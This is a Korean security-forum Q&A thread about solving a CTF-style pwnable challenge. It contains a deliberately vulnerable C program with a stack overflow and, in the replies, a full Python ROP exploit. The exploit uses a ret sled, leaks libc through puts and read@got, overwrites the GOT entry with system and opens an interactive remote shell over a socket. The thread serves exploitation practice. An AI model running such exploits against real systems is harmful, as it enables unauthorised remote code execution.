시스템 해킹

 1574, 7/79 회원가입  로그인  
   vngkv123
   문제 방향성...

http://www.hackerschool.org/HS_Boards/zboard.php?id=QNA_system&no=1847 [복사]


#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>


void err(const char *message)
{
    puts(message);
    exit(-1);
}


void vuln(size_t size)
{
    char buf[size];

    read(0, buf, 0x400);
}


int main(int argc, char *argv[])
{
    int fd;
    int seed;
    size_t size;

    setvbuf(stdin, 0, _IONBF, 0);
    setvbuf(stdout, 0, _IONBF, 0);

    fd = open("/dev/urandom", 0);
    if (fd < 0) err("/dev/urandom");
    read(fd, &seed, 4);
    close(fd);

    srand(seed);

    size = (rand() % (0x3a0 - 0x100)) + 0x100;
    size &= 0xFFFFFFFC;

    puts("Executing vuln(). good luck :)");
    vuln(size);

    return 0;
}

약간 BugBug문제를 모티브로 만든 느낌이 있긴한데..
원격서버에서 데몬으로 돌아가고 NX는 걸린상태고 ASLR은 아직 잘 모르겠네용.
이건 저 랜드값을 Leak해서 하는걸까요 아니면 rand값으로 나온 사이즈 상관없이 ret sled를 타서 하는걸까요...
  Hit : 2405     Date : 2017/04/04 06:04


    
해쿨러 ret sledding하라는 문제 맞습니다
버퍼가 0x100~0x3a0중에 사이즈가 정해져서 할당되는데
항상 0x400바이트만큼 read하니까
최소 0x60, 96바이트만큼부터는 무조건 ret을 타게 돼있으니
RET Sledding 으로 실행흐름을 변조하면 되는건 맞는데
ASLR은 아직 모르겠다고 하셨는데 ASLR 걸려있을거구요
ROP해서 libc leak한번 하고 got overwrite해서 쉘 따실 수 있구요
플래그 파일만 읽으면 되면 그냥 원샷에도 가능합니다		 2017/04/05  
pwnnnt 갓.. 2017/04/05  
vngkv123 ret을 처음부터 타는거 맞죠? 왜 주소가 릭이 안되는걸까용 ㅠ_ㅠ 훔 2017/04/05  
vngkv123 ret을 충분히주고 puts@plt + dummy + read나 puts의 got로 우선 릭할려고 했는데 잘못된걸까요? 2017/04/05  
해쿨러 그렇게하면 되는거 맞습니다
ret은 버퍼의 크기마다 타기 시작하는 시점이 달라지죠
ret은 최대 버퍼크기인 0x3a0을 기준으로 했을 때
좀 안정적으로 하려면 0x3c0/4 개만큼 넣으신다음에 ROP 페1이로드를 쓰시면 됩니다		 2017/04/05  
vngkv123 got주소가 음수로 나오면 뭔가 잘못된거겠죠 ... 2017/04/05  
vngkv123 import socket
import time
import struct

p = lambda x : struct.pack("<L",x)
up = lambda x : struct.unpack("<L",x)

read_plt = 0x8048420
read_got = 0x804a00c
puts_plt = 0x8048430
ret = 0x8048623
dynamic_section = 0x8049f14
pppr = 0x8048749
system_offset = 0x3ada0
read_offset = 0xd5980

payload = ''
payload += p(ret)*240 + p(read_plt) + p(pppr)
payload += p(0) + p(dynamic_section) + p(len("/bin/sh")+1) #/bin/sh
payload += p(puts_plt) + p(0x8048766) + p(read_got) #get read addr
payload += p(read_plt) + p(pppr)
payload += p(0) + p(read_got) + p(4) #overwrite read@got
payload += p(read_plt) + "AAAA" + p(dynamic_section)


s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(('xxx.xxx.xxx.xxx',31007))
time.sleep(0.5)
print"[+] Sending payload ......"
s.send(payload + '\n')
time.sleep(0.5)
s.recv(1024)
s.send("/bin/sh" + "\n")
time.sleep(0.5)
resp = up(s.recv(4))
libc_addr = resp - read_offset
print"[+] libc_addr = %s"%(hex(libc_addr))
system_addr = libc_addr + system_offset
print"[+] system_addr = %s"%(hex(system_addr))
time.sleep(0.5)
s.send(p(system_addr) + '\n')
time.sleep(0.5)
print'[+] Get shell complete.......'
while True:
cmd = raw_input("$ ")
s.send(cmd + '\n')
time.sleep(0.5)
print(s.recv(1024))
s.close()

주소는 가린거구용 위 코드상으론 맞게 짜여진지 모르겠네요.... 자꾸 up(s.recv)부분에서 삑이나서 고민중인데 ㅠ		 2017/04/06  
해쿨러 struct.unpack은 배열을 리턴합니다
up = lambda x : struct.unpack("<L",x)
->
up = lambda x : struct.unpack("<L",x)[0]		 2017/04/06  
vngkv123 shell이 따졋다고 생각되는 상황에서 raw_input 지점부터 strace를 붙여서 봣는데

read(0, 함수로 시작되고 있는거면 got overwrite가 잘못된건가요?		 2017/04/06  
해쿨러 거기부터 붙이지마시고 connect직후에 붙이셔요 2017/04/06  
vngkv123 뭐가 문젠지 고민계속 햇는데 offset이 잘못되었었네요 ㅜㅜ ㅋㅋㅋㅋ 감사합니다~~ 2017/04/06  
1454   버퍼오버플로우 관련 질문..[1]     ewqqw
 04/17 2320
1453   ubuntu 16.04 UAF버그..[10]     vngkv123
 04/16 3096
1452   gdb 분석 disas[5]     ewqqw
 04/16 2122
1451   pwntools 를 이용한 익스 질문[6]     tkakr7458
 04/16 7234
1450   버퍼오버플로우 질문....[2]     ewqqw
 04/16 2272
1449   IDA에서 소스코드를 복원했을때[5]     vngkv123
 04/13 3516
1448   aslr 환경에서...[2]     vngkv123
 04/12 2518
1447   asis CTF 문제풀다가....[4]     vngkv123
 04/12 2233
1446   pwnable kr OTP문제...[2]     vngkv123
 04/09 2755
1445   64bit elf파일 디버깅시[6]     vngkv123
 04/08 2485
1444   gdb에서...[2]     vngkv123
 04/05 2140
  문제 방향성...[11]     vngkv123
 04/04 2404
1442   2013 plaid ctf rop ..[14]     vngkv123
 04/02 2454
1441   python 페1이로드 작성시[1]     vngkv123
 04/02 1895
1440   용어들 질문..[6]     vngkv123
 04/01 2339
1439   stripped된 바이너리파일을 디버깅할때...[5]     vngkv123
 04/01 2511
1438   fc10 fc14...[1]     vngkv123
 04/01 2043
1437   gdb에서 call이후 브레이크를 걸었을때..[10]     vngkv123
 03/31 2003
1436   리턴과 관련한 질문....[9]     vngkv123
 03/30 1938
1435   rop gadget찾을 때....[1]     vngkv123
 03/30 2111
[1][2][3][4][5][6] 7 [8][9][10]..[79]

Copyright 1999-2024 Zeroboard / skin by Hackerschool.org / Secure Patch by Hackerschool.org